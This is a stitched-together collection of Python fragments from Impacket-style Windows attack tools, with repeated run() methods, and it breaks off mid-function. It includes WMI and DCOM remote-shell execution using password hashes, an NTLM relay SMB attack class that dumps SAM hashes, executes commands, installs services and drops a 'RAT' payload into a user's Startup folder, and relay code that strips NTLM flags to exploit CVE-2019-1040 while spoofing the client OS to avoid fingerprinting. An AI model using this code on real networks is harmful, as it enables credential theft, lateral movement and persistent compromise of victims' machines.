def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
def run(self, addr):
if self.__noOutput is False:
try:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
except Exception as e:
return e
sys.stdout.flush()
sys.exit(1)
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
global totalOutput
totalOutput=str(e)
#logging.error(str(e))
try:
if smbConnection is not None:
smbConnection.logoff()
except:
pass
try:
dcom.disconnect()
except:
pass
sys.stdout.flush()
return str(e)
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
else:
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.getDialect() != SMB_DIALECT:
# Let's disable SMB3 Encryption for now
smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
pipeDream = PIPEDREAM(smbClient, options)
pipeDream.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
try:
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
return self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
# filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME)
filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME)
# Delete outfile
if self.shell:
output_callback = ''
# print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename))
for _ in xrange(10):
try:
self.shell._RemoteShell__transferClient.deleteFile(
self.shell._RemoteShell__share,
self.shell._RemoteShell__output)
break
except KeyboardInterrupt:
try:
print(
"Pressing Ctrl+C again might leave a file on disk: {}"
.format(filename))
time.sleep(1)
continue
except KeyboardInterrupt:
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(1)
pass
if str(e).find('BAD_NETWORK_NAME') >= 0:
print(str(e))
break
else:
# print str(e)
time.sleep(1)
pass
else:
print("Error: Timeout - {} might be left on disk".format(
filename))
class SMBAttack(ProtocolAttack):
"""
This is the SMB default attack class.
It will either dump the hashes from the remote target, or open an interactive
shell if the -i option is specified.
"""
PLUGIN_NAMES = ["SMB"]
def __init__(self, config, SMBClient, username):
self.username = username
ProtocolAttack.__init__(self, config, SMBClient, username)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
else:
self.__SMBConnection = SMBClient
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(
SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.config.gPotatoStartUp is not None:
with open(self.config.gPotatoStartUp, 'rb') as f:
try:
startup_users_path = '/%s/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/%s' % (
self.username, self.config.gPotatoStartUp)
self.__SMBConnection.putFile('Users', startup_users_path,
f.read)
print(
'[GPOTATO] Uploaded payload to user startup folder via User share'
)
return
except Exception as e:
print(
'[GPOTATO] Dropping RAT to startup folder using User share failed: %s'
% str(e))
try:
startup_admin_path = '/Users/%s/Desktop/%s' % (
self.username, self.config.gPotatoStartUp)
self.__SMBConnection.putFile('C$', startup_admin_path,
f.read)
print(
'[GPOTATO] Uploaded payload to user startup folder via C$ share'
)
return
except Exception as e:
print(
'[GPOTATO] Dropping RAT to startup folder using C$ share failed: %s'
% str(e))
if self.tcpshell is not None:
LOG.info(
'Started interactive SMB client shell via TCP on 127.0.0.1:%d'
% self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,
self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
flags1, flags2 = self.__SMBConnection.getSMBServer(
).get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(
flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception as e:
if "rpc_s_access_denied" in str(
e): # user doesn't have correct privileges
if self.config.enumLocalAdmins:
LOG.info(
"Relayed user doesn't have admin on {}. Attempting to enumerate users who do..."
.format(
self.__SMBConnection.getRemoteHost().encode(
self.config.encoding)))
enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
try:
localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins(
)
LOG.info(
"Host {} has the following local admins (hint: try relaying one of them here...)"
.format(self.__SMBConnection.getRemoteHost().
encode(self.config.encoding)))
for name in localAdminNames:
LOG.info(
"Host {} local admin member: {} ".format(
self.__SMBConnection.getRemoteHost().
encode(self.config.encoding), name))
except DCERPCException:
LOG.info("SAMR access denied")
return
# Something else went wrong. aborting
LOG.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(
self.config.command)
LOG.info("Executed specified command on host: %s",
self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output',
self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print(
self.__answerTMP.decode(self.config.encoding,
'replace'))
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote=True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost() +
'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s",
self.__SMBConnection.getRemoteHost())
except Exception as e:
LOG.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
try:
smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
if options.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
else:
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.getDialect() != SMB_DIALECT:
# Let's disable SMB3 Encryption for now
smbClient._SMBConnection._Session['SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
pipeDream = PIPEDREAM(smbClient, options)
pipeDream.run()
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
else:
smbConnection.kerberosLogin(self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr,
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(
string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document', ))
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iDocument = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iDocument.GetIDsOfNames(('ActiveView', ))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
dispParams, 0, [], [])
iActiveView = IDispatch(
self.getInterface(
iMMC,
resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(
('ExecuteShellCommand', ))[0]
pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit),
(iActiveView, pExecuteShellCommand),
smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
if self.shell is not None:
self.shell.do_exit('')
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
try:
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
return self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
# filename = '$ADMIN\Temp\{}'.format(OUTPUT_FILENAME)
filename = '$C\Windows\Temp\{}'.format(OUTPUT_FILENAME)
# Delete outfile
if self.shell:
output_callback = ''
# print("Cleaning up output file: {}. Please don't Ctrl+C me.".format(filename))
for _ in xrange(10):
try:
self.shell._RemoteShell__transferClient.deleteFile(self.shell._RemoteShell__share, self.shell._RemoteShell__output)
break
except KeyboardInterrupt:
try:
print("Pressing Ctrl+C again might leave a file on disk: {}".format(filename))
time.sleep(1)
continue
except KeyboardInterrupt:
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
if str(e).find('BAD_NETWORK_NAME') >= 0:
print(str(e))
break
else:
# print str(e)
time.sleep(1)
pass
else:
print("Error: Timeout - {} might be left on disk".format(filename))
class SMBRelayClient(ProtocolClient):
PLUGIN_NAME = "SMB"
def __init__(self,
serverConfig,
target,
targetPort=445,
extendedSecurity=True):
ProtocolClient.__init__(self, serverConfig, target, targetPort,
extendedSecurity)
self.extendedSecurity = extendedSecurity
self.machineAccount = None
self.machineHashes = None
self.sessionData = {}
self.negotiateMessage = None
self.challengeMessage = None
self.serverChallenge = None
self.keepAliveHits = 1
def netlogonSessionKey(self, authenticateMessageBlob):
# Here we will use netlogon to get the signing session key
logging.info("Connecting to %s NETLOGON service" %
self.serverConfig.domainIp)
respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(respToken2['ResponseToken'])
_, machineAccount = self.serverConfig.machineAccount.split('/')
domainName = authenticateMessage['domain_name'].decode('utf-16le')
try:
serverName = machineAccount[:len(machineAccount) - 1]
except:
# We're in NTLMv1, not supported
return STATUS_ACCESS_DENIED
stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if len(self.serverConfig.machineHashes) > 0:
lmhash, nthash = self.serverConfig.machineHashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(machineAccount, '', domainName,
lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
b'12345678')
serverChallenge = resp['ServerChallenge']
if self.serverConfig.machineHashes == '':
ntHash = None
else:
ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678',
serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
nrpc.hNetrServerAuthenticate3(
dce, NULL, machineAccount + '\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
serverName + '\x00', ppp, 0x600FFFFF)
clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
# Now let's try to verify the security blob against the PDC
request = nrpc.NetrLogonSamLogonWithFlags()
request['LogonServer'] = '\x00'
request['ComputerName'] = serverName + '\x00'
request[
'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
request[
'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation'][
'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
request['LogonInformation']['LogonNetworkTransitive']['Identity'][
'LogonDomainName'] = domainName
request['LogonInformation']['LogonNetworkTransitive']['Identity'][
'ParameterControl'] = 0
request['LogonInformation']['LogonNetworkTransitive']['Identity'][
'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
request['LogonInformation']['LogonNetworkTransitive']['Identity'][
'Workstation'] = ''
request['LogonInformation']['LogonNetworkTransitive'][
'LmChallenge'] = self.serverChallenge
request['LogonInformation']['LogonNetworkTransitive'][
'NtChallengeResponse'] = authenticateMessage['ntlm']
request['LogonInformation']['LogonNetworkTransitive'][
'LmChallengeResponse'] = authenticateMessage['lanman']
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
clientStoredCredential, sessionKey)
authenticator['Timestamp'] = 10
request['Authenticator'] = authenticator
request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ExtraFlags'] = 0
# request.dump()
try:
resp = dce.request(request)
# resp.dump()
except DCERPCException as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
return e.get_error_code()
logging.info(
"%s\\%s successfully validated through NETLOGON" %
(domainName, authenticateMessage['user_name'].decode('utf-16le')))
encryptedSessionKey = authenticateMessage['session_key']
if encryptedSessionKey != b'':
signingKey = generateEncryptedSessionKey(
resp['ValidationInformation']['ValidationSam4']
['UserSessionKey'], encryptedSessionKey)
else:
signingKey = resp['ValidationInformation']['ValidationSam4'][
'UserSessionKey']
logging.info("SMB Signing key: %s " %
hexlify(signingKey).decode('utf-8'))
return STATUS_SUCCESS, signingKey
def keepAlive(self):
# SMB Keep Alive more or less every 5 minutes
if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
# Time to send a packet
# Just a tree connect / disconnect to avoid the session timeout
tid = self.session.connectTree('IPC$')
self.session.disconnectTree(tid)
self.keepAliveHits = 1
else:
self.keepAliveHits += 1
def killConnection(self):
if self.session is not None:
self.session.close()
self.session = None
def initConnection(self):
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(
None,
self.targetHost,
self.targetHost,
self.targetPort,
60,
self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS
| SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2,
data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error(
'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
)
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
preferredDialect = None
# Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
if self.serverConfig.remove_target:
preferredDialect = SMB2_DIALECT_21
smbClient = MYSMB3(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet,
preferredDialect=preferredDialect)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
existingConnection=smbClient,
manualNegotiate=True)
return True
def setUid(self, uid):
self._uid = uid
def sendNegotiate(self, negotiateMessage):
negoMessage = NTLMAuthNegotiate()
negoMessage.fromString(negotiateMessage)
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
if negoMessage[
'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if negoMessage[
'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if negoMessage[
'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if negoMessage[
'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
negotiateMessage = negoMessage.getData()
challenge = NTLMAuthChallenge()
if self.session.getDialect() == SMB_DIALECT:
challenge.fromString(self.sendNegotiatev1(negotiateMessage))
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))
self.negotiateMessage = negotiateMessage
self.challengeMessage = challenge.getData()
# Store the Challenge in our session data dict. It will be used by the SMB Proxy
self.sessionData['CHALLENGE_MESSAGE'] = challenge
self.serverChallenge = challenge['challenge']
return challenge
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = negotiateMessage
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
# Just in case, clear the Unicode Flag
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters'][
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = negotiateMessage
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(
flags=smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters[
'SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendStandardSecurityAuth(self, sessionSetupData):
v1client = self.session.getSMBServer()
flags2 = v1client.get_flags()[1]
v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
if sessionSetupData['Account'] != '':
smb = NewSMBPacket()
smb['Flags1'] = 8
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Data()
sessionSetup['Parameters']['MaxBuffer'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters'][
'SessionKey'] = v1client._dialects_parameters['SessionKey']
sessionSetup['Parameters']['AnsiPwdLength'] = len(
sessionSetupData['AnsiPwd'])
sessionSetup['Parameters']['UnicodePwdLength'] = len(
sessionSetupData['UnicodePwd'])
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
sessionSetup['Data']['Account'] = sessionSetupData['Account']
sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[
'PrimaryDomain']
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except:
return None, STATUS_LOGON_FAILURE
else:
v1client.set_uid(smb['Uid'])
return smb, STATUS_SUCCESS
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
clientResponse = None
errorCode = STATUS_ACCESS_DENIED
return clientResponse, errorCode
def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
# When exploiting CVE-2019-1040, remove flags
if self.serverConfig.remove_mic:
authMessage = NTLMAuthChallengeResponse()
authMessage.fromString(authenticateMessageBlob)
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
if authMessage[
'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
authMessage['MIC'] = b''
authMessage['MICLen'] = 0
authMessage['Version'] = b''
authMessage['VersionLen'] = 0
authenticateMessageBlob = authMessage.getData()
if unpack('B', authenticateMessageBlob[:1]
)[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
# We need to wrap the NTLMSSP into SPNEGO
respToken2 = SPNEGO_NegTokenResp()
respToken2['ResponseToken'] = authenticateMessageBlob
authData = respToken2.getData()
else:
